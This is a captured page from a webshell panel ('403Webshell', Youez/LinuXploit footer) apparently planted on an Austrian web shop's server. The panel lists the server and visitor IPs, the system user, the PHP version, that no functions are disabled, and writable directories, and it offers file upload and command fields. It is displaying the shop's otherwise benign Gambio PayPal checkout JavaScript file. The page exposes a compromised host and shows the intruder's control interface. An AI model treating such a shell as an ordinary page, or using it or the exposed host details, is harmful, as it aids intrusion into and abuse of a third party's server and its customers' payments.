403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/GXModules/Gambio/Hub/Shop/Javascript/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/GXModules/Gambio/Hub/Shop/Javascript/PayPalSmartButtonECM.js
if (window.NodeList && !NodeList.prototype.forEach) {
	NodeList.prototype.forEach = Array.prototype.forEach;
}

let payPalButtonSettings = {};
let currentScript = document.currentScript;

let initJSSDKPayPalButton = function() {
	paypal.Buttons({
		style: payPalButtonSettings.style,
		createOrder: function(data, actions) {
			return $.ajax({
				url: payPalButtonSettings.createPaymentUrl,
				dataType: 'json'
			}).then(function(data) {
				let token;
				for (let link in data.payment.links) {
					if (data.payment.links[link].rel === 'approval_url') {
						token = data.payment.links[link].href.match(/EC-\w+/)[0];
					}
				}
				return token;
			});
		},
		onApprove: function(data, actions) {
			document.querySelector('#checkout_payment input[name="PayPal2HubPaymentId"]').value = data.paymentID;
			document.querySelector('#checkout_payment input[name="PayPal2HubPayerId"]').value = data.payerID;
			document.querySelector('#checkout_payment').submit();
		}
	}).render('#paypal-button-container');
};

document.addEventListener('DOMContentLoaded', function() {
	let continueButtonBlock = document.querySelector('#checkout_payment div.continue_button'),
		continueButton = continueButtonBlock.querySelector('input[type="submit"]'),
		continueButtonDisplay = continueButton.style.display,
		paypalButtonContainer = document.createElement('div'),
		plusContainer = document.querySelector('#gambiohub-ppplus');

	if (plusContainer === null)
	{
		paypalButtonContainer.id = 'paypal-button-container';
		paypalButtonContainer.style.display = 'none';
		paypalButtonContainer.style.marginTop = '-3px';
		continueButtonBlock.appendChild(paypalButtonContainer);
		
		let jssdk = document.createElement('script');
		jssdk.src = payPalButtonSettings.jssrc;
		jssdk.onload = initJSSDKPayPalButton;
		if(currentScript) {
			currentScript.parentNode.insertBefore(jssdk, currentScript);
		} else {
			document.querySelector('script:last-of-type').parentNode.appendChild(jssdk);
		}
		
		let paymentItemClickListener = function() {
			let selected_payment = this.querySelector('input[name="payment"]');
			if(null !== selected_payment) {
				if (selected_payment.value === 'gambio_hub' && selected_payment.dataset.module_code === 'PayPal2Hub') {
					continueButton.style.display = 'none';
					paypalButtonContainer.style.display = 'block';
				} else {
					continueButton.style.display = continueButtonDisplay;
					paypalButtonContainer.style.display = 'none';
				}
			}
		};
		
		let paymentItems = document.querySelectorAll('#checkout_payment input[name="payment"], #checkout_payment li.list-group-item');
		paymentItems.forEach(function(paymentItem) {
			paymentItem.addEventListener('click', paymentItemClickListener)
		});
		
		let paymentListEntries = document.querySelectorAll('#checkout_payment li');
		paymentListEntries.forEach(function(paymentOption) {
			if(paymentOption.querySelector('input[name="payment"]:checked') || paymentListEntries.length === 1) {
				paymentOption.dispatchEvent(new Event('click'));
			}
		});
	}
});

Youez - 2016 - github.com/yon3zu
LinuXploit